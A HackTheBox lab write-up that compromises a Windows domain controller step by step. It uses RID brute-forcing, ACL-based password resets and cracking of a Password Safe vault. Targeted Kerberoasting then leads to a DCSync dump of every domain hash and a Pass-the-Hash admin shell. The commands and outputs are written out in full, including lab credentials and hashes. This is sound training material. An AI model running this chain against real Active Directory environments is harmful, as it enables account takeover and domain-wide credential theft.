> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/administrator.md). # Administrator ACL abuse chain on a Windows DC: pivot through AD users via GenericAll/ForceChangePassword, crack an FTP password vault, Kerberoast to DCSync, then Pass-the-Hash for full admin.
## Administrator **Difficulty:** Medium\ **OS:** Windows\ **Category:** Active Directory\ **IP:** `10.129.2.60` *** ### Overview Administrator is a medium-difficulty Windows Active Directory machine. The attack chain involves exploiting a series of AD privilege relationships (ACL abuse) to pivot through multiple domain accounts, eventually gaining DCSync rights and dumping the domain's NTLM hashes. The path is: ``` Olivia → (GenericAll) → Michael → (ForceChangePassword) → Benjamin → FTP → Backup.psafe3 → Emily → (GenericWrite / Kerberoasting) → Ethan → (DCSync) → Administrator ``` *** ### Enumeration #### Nmap ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.2.60 -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 03:23 -0400 Nmap scan report for 10.129.2.60 Host is up (0.43s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-10 14:23:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-03-10T14:23:37 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: 6h59m59s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.67 seconds ``` **Clock skew** of \~7 hours was noted — relevant for Kerberos, which requires time sync within 5 minutes. Keep in mind when using Kerberos-based attacks. #### RID Brute-Force (User Enumeration) Using **NetExec** with the provided starting credentials `olivia:ichliebedich`. This technique enumerates domain users and groups by iterating over Windows Security Identifiers (SIDs). Key accounts discovered: ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.2.60 -u "olivia" -p "ichliebedich" --rid-brute SMB 10.129.2.60 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.2.60 445 DC [+] administrator.htb\olivia:ichliebedich SMB 10.129.2.60 445 DC 498: ADMINISTRATOR\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.129.2.60 445 DC 500: ADMINISTRATOR\Administrator (SidTypeUser) SMB 10.129.2.60 445 DC 501: ADMINISTRATOR\Guest (SidTypeUser) SMB 10.129.2.60 445 DC 502: ADMINISTRATOR\krbtgt (SidTypeUser) SMB 10.129.2.60 445 DC 512: ADMINISTRATOR\Domain Admins (SidTypeGroup) SMB 10.129.2.60 445 DC 513: ADMINISTRATOR\Domain Users (SidTypeGroup) SMB 10.129.2.60 445 DC 514: ADMINISTRATOR\Domain Guests (SidTypeGroup) SMB 10.129.2.60 445 DC 515: ADMINISTRATOR\Domain Computers (SidTypeGroup) SMB 10.129.2.60 445 DC 516: ADMINISTRATOR\Domain Controllers (SidTypeGroup) SMB 10.129.2.60 445 DC 517: ADMINISTRATOR\Cert Publishers (SidTypeAlias) SMB 10.129.2.60 445 DC 518: ADMINISTRATOR\Schema Admins (SidTypeGroup) SMB 10.129.2.60 445 DC 519: ADMINISTRATOR\Enterprise Admins (SidTypeGroup) SMB 10.129.2.60 445 DC 520: ADMINISTRATOR\Group Policy Creator Owners (SidTypeGroup) SMB 10.129.2.60 445 DC 521: ADMINISTRATOR\Read-only Domain Controllers (SidTypeGroup) SMB 10.129.2.60 445 DC 522: ADMINISTRATOR\Cloneable Domain Controllers (SidTypeGroup) SMB 10.129.2.60 445 DC 525: ADMINISTRATOR\Protected Users (SidTypeGroup) SMB 10.129.2.60 445 DC 526: ADMINISTRATOR\Key Admins (SidTypeGroup) SMB 10.129.2.60 445 DC 527: ADMINISTRATOR\Enterprise Key Admins (SidTypeGroup) SMB 10.129.2.60 445 DC 553: ADMINISTRATOR\RAS and IAS Servers (SidTypeAlias) SMB 10.129.2.60 445 DC 571: ADMINISTRATOR\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.129.2.60 445 DC 572: ADMINISTRATOR\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.129.2.60 445 DC 1000: ADMINISTRATOR\DC$ (SidTypeUser) SMB 10.129.2.60 445 DC 1101: ADMINISTRATOR\DnsAdmins (SidTypeAlias) SMB 10.129.2.60 445 DC 1102: ADMINISTRATOR\DnsUpdateProxy (SidTypeGroup) SMB 10.129.2.60 445 DC 1108: ADMINISTRATOR\olivia (SidTypeUser) SMB 10.129.2.60 445 DC 1109: ADMINISTRATOR\michael (SidTypeUser) SMB 10.129.2.60 445 DC 1110: ADMINISTRATOR\benjamin (SidTypeUser) SMB 10.129.2.60 445 DC 1111: ADMINISTRATOR\Share Moderators (SidTypeAlias) SMB 10.129.2.60 445 DC 1112: ADMINISTRATOR\emily (SidTypeUser) SMB 10.129.2.60 445 DC 1113: ADMINISTRATOR\ethan (SidTypeUser) SMB 10.129.2.60 445 DC 3601: ADMINISTRATOR\alexander (SidTypeUser) SMB 10.129.2.60 445 DC 3602: ADMINISTRATOR\emma (SidTypeUser) ``` ### Foothold — BloodHound ACL Abuse
#### Olivia → Michael (GenericAll) BloodHound analysis revealed that **Olivia** holds `GenericAll` over the **Michael** account. `GenericAll` is effectively full control over an object, it includes the ability to reset the user's password without knowing the current one. #### Michael → Benjamin (ForceChangePassword) BloodHound further showed that **Michael** holds `ForceChangePassword` over **Benjamin**. This is a more targeted ACE (Access Control Entry) that specifically permits password resets. ```bash ┌──(kali㉿kali)-[~/Documents/administrator] └─$ rpcclient -U "administrator.htb\olivia%ichliebedich" 10.129.2.60 rpcclient $> setuserinfo2 michael 23 'Test123!' ┌──(kali㉿kali)-[~/Documents/administrator] └─$ rpcclient -U "administrator.htb\michael%Test123\!" 10.129.2.60 rpcclient $> setuserinfo2 benjamin 23 'Test123!' ``` Michael has no additional privileges beyond what Olivia already had — the sole purpose of this pivot is to reach Benjamin, who has FTP access. ### FTP — Backup.psafe3 With Benjamin's credentials, logging into FTP reveals a single file: ```bash ┌──(kali㉿kali)-[~/Documents/administrator] └─$ ftp benjamin@10.129.2.60 Connected to 10.129.2.60. 220 Microsoft FTP Service 331 Password required Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||58581|) 125 Data connection already open; Transfer starting. 10-05-24 09:13AM 952 Backup.psafe3 226 Transfer complete. ftp> get Backup.psafe3 ftp> binary 200 Type set to I. ftp> get Backup.psafe3 local: Backup.psafe3 remote: Backup.psafe3 229 Entering Extended Passive Mode (|||58585|) 150 Opening BINARY mode data connection. 100% |**********************************************************************************************************************************************************************************************| 952 1.40 KiB/s 00:00 ETA 226 Transfer complete. 952 bytes received in 00:01 (0.89 KiB/s) ``` #### Cracking the Password Safe `Backup.psafe3` is a **Password Safe v3** database — an encrypted credential vault protected by a master password. **Step 1:** Extract the hash with `pwsafe2john`\ **Step 2:** Crack with John the Ripper against rockyou.txt\ **Step 3:** Open the vault with the master password `tekieromucho` to retrieve Emily's credentials ```bash ┌──(kali㉿kali)-[~/Documents/administrator] └─$ pwsafe2john Backup.psafe3 Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050 ┌──(kali㉿kali)-[~/Documents/administrator] └─$ echo '$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050' > hash.txt ┌──(kali㉿kali)-[~/Documents/administrator] └─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x]) Cost 1 (iteration count) is 2048 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status tekieromucho (?) 1g 0:00:00:00 DONE (2026-03-10 05:19) 4.166g/s 34133p/s 34133c/s 34133C/s newzealand..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` now from this `.psafe` we can get emily's password i.e `UXLCI5iETUsIBoFVTj8yQFKoHjXmb` ### User Flag — Emily via WinRM ```bash evil-winrm -i 10.129.2.60 -u "emily" -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' *Evil-WinRM* PS C:\Users\emily\Documents> type ../Desktop/user.txt 54d5xxxxxxxxxxxxxxxxxxxxxxxxxxxx8e8c ``` ### Privilege Escalation #### Emily → Ethan (Targeted Kerberoasting via GenericWrite) BloodHound shows **Emily** has `GenericWrite` over the **Ethan** account. `GenericWrite` allows modification of most non-protected attributes of an AD object, including `servicePrincipalName` (SPN).
**The attack — Targeted Kerberoasting:** The idea is to temporarily assign a fake SPN to Ethan's account. Any account with an SPN registered is eligible for Kerberoasting — the Domain Controller will issue a TGS (Ticket Granting Service) ticket encrypted with Ethan's NTLM hash, which can then be cracked offline. > **Note:** Shadow Credentials was also attempted (adding a key to `msDSKeyCredentialLink`), but failed because PKINIT (the Kerberos extension required for certificate-based authentication) was not available or not configured for this environment. **Step 1:** Set a fake SPN on Ethan using `bloodyAD`\ who has `GetChangesInFilteredSet`, `GetChanges`, `GetChangesAll` on\ **Step 2:** Request the TGS ticket with `impacket-GetUserSPNs`. This returns a `$krb5tgs$23$*ethan$...` hash (RC4-encrypted Kerberos service ticket).\ **Step 3:** Crack with Hashcat: ```bash ┌──(kali㉿kali)-[~] └─$ bloodyAD --host 10.129.2.60 -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb set object ethan servicePrincipalName -v 'administrator/meow' [+] ethan\'s servicePrincipalName has been updated ┌──(kali㉿kali)-[~] └─$ impacket-GetUserSPNs administrator.htb/emily:'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -dc-ip 10.129.2.60 -request Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ----- -------- -------------------------- --------- ---------- administrator/meow ethan 2024-10-12 16:52:14.117811 [-] CCache file is not found. Skipping... $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$d8e5d5b9f480e18b9a5a716357de151b$1bfc50fe5c222967801e9e318c5f2c7a82012ff8a24fa424021f164fb4aea59505091d1ee6d43df1f3811bff1801cf789c932cf67418a5dbce4ebc500ecc53b08b5d3d823aa4229399d4b9f35524aa4d4afc0c690b730f3c46ed619b394f6f92431c91bca1f804dcb687bafbdf3a917c768976bda223bc5a04aed220a0b772b19568e186ca98ea0ce698b42f574ebb3374a20a8ff775bb01fe10a69e91bdf03b67bbce9f0ac02e14736ddeb65383fcdf06f93181b4f1f2fcb4103a11f45e8c5881840880bb4cdc7100977c5b9cb14782a7c07a4605ebc65c26c721889a93b63e8b8b5df8f85cb4c80f0c14e063f4532e38a9600c5a6e0cf2656295d7580fc3d21f6346272c5d5eb70296e2c3531a43d706f3fdcf581ca926524afe527f5044461221f12bbf15498e07768c9d756ce4769fe2a3a1af12333b7eec7e2e4ff91d714a01528f1f9032a0d1245584992e33947a769e7f80dcd6143310252206f2df3fd9bf4cd86c3c73fb8100ff28fdd07986771a1cda4236bea93e8ea9876f21c259c20ae20919007b1b05bbe3c59fef2adacecf6509f7e1c2f1b6ce69bfcf3579ad9d07f2eed02234f577b557abe1815d0f6405dc1a6ba6d6b932dd7b1cc63b551cb025727fc2b419eb2f66a4073213e338e10bfcab2905cfbfbe412d476e4ff2f706b5bd8cd44efb5ed3de73f125d078acd4aaf2c68066ef8d625e278e5af6cff29ef72cb973ba0dc762045a9982759d2420bb3ec87848cb3f2aee68ae04a5c12f7fa449fde69e9172fa09527bcbc87a9ffb25e11cda14f0885829ecb9174d058c2b6841a93b2be18120c5401db06ff92f43f4e3743d4d4848b39fea3f0712d07b1536511e6ac9775101be266765cf4c82f6653b953994af2cb30dd3e978feee26f131c88e9e61072373877956a774df02edd050bf52c8951fbcf29524531fab766f58149be6a05760665061c534bca3026c19289dd8a6426f26a627c9f298e95e6c88c481337dfbadaa247ca4fba9e51e55009496168d8e7a30e12a00217fbae5bf728af46080b0693a56d86c120fda34676b50b9182d7a7111368371c45f5a10951ea1ea6af273296086df0f791e3cd19a334a27909e8df8a77e0ea398941f62b1432f0a45d814d0663e929ad562324a1fda8a4ebc7830b456857db4bd81b548d81d84978b1de6d65d517f4f4503bb63f97ab6d7513facb06a67a0576d9906731cd2867e5257970347c130ecd4650d6e9788da26dba67be7ed0d520367635c30f40da13fa7de5bfe51b41122945d448a44aa19f19ee9aca4a2e45d4707e64046fc15360ebed8f03fca95e665306351e05da3fd0db6e551d8b113d0a542e75af7ef80ed753ee1aede202452fbdffbcea18ec79e255f80c90ca2e4cb1f711b66516d7add938ac75991a2aaacaaf6c90ed61d22d249d5868e3883a0583f53d8f4be594b3a4c797867bad680fb208969ecc38b3d16c0bb68f1e9e27e39cfb586f412662021a1e9567002980c55ea18c943384d1a8396b3747adf362f6152680c1d ``` Then, cracking this hash using hascat gave us the password `limpbizkit` #### Ethan → Administrator (DCSync) BloodHound shows **Ethan** holds three critical permissions on the `administrator.htb` domain object: * `GetChanges` * `GetChangesAll` * `GetChangesInFilteredSet`
Together, `GetChanges` + `GetChangesAll` are the exact permissions required to perform a **DCSync attack**. DCSync mimics the behavior of a Domain Controller replicating directory data — it lets an attacker request the NTLM hash of any account directly from the DC, without needing to touch `LSASS` or run code on the DC. ```bash ┌──(kali㉿kali)-[~/Documents/administrator] └─$ impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.2.60 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6::: administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7::: administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:383fe399326a954a97f73781553ae73d::: administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:383fe399326a954a97f73781553ae73d::: administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31::: administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884::: administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199::: administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664 Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2 Administrator:des-cbc-md5:403286f7cdf18385 krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648 krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94 krbtgt:des-cbc-md5:2c0bc7d0250dbfc7 administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3 administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48 administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9 administrator.htb\michael:aes256-cts-hmac-sha1-96:bdde53e0a2e2010e5f41e4899ea47b8536b015d9a0e049b2e44c774491605917 administrator.htb\michael:aes128-cts-hmac-sha1-96:926b408a2d4f0bca7f849386799e88ff administrator.htb\michael:des-cbc-md5:c180624010cd6ba8 administrator.htb\benjamin:aes256-cts-hmac-sha1-96:e723becce8f294d355ec75d1c6094c2c5494f72b81334231144cc112af1c6c85 administrator.htb\benjamin:aes128-cts-hmac-sha1-96:01e8b03b159b0c8c7b87a24917ea7931 administrator.htb\benjamin:des-cbc-md5:913e3d45dc15cb52 administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4 administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218 administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51 administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6 administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82 administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e administrator.htb\emma:des-cbc-md5:3249fba89813ef5d DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d DC$:des-cbc-md5:f483547c4325492a [*] Cleaning up... ``` Key hashes retrieved: ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e::: ``` ### Root Flag — Pass-the-Hash as Administrator With the Administrator's NT hash, we perform a **Pass-the-Hash** attack. PTH works because Windows NTLM authentication accepts the raw hash in place of a password — there is no need to crack it. ```bash ┌──(kali㉿kali)-[~/Documents/administrator] └─$ evil-winrm -i 10.129.2.60 -u administrator -H '3dc553ce4b9fd20bd016e098d2d2fd2e' Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt 9b5cxxxxxxxxxxxxxxxxxxxxxxxxd8f6 ```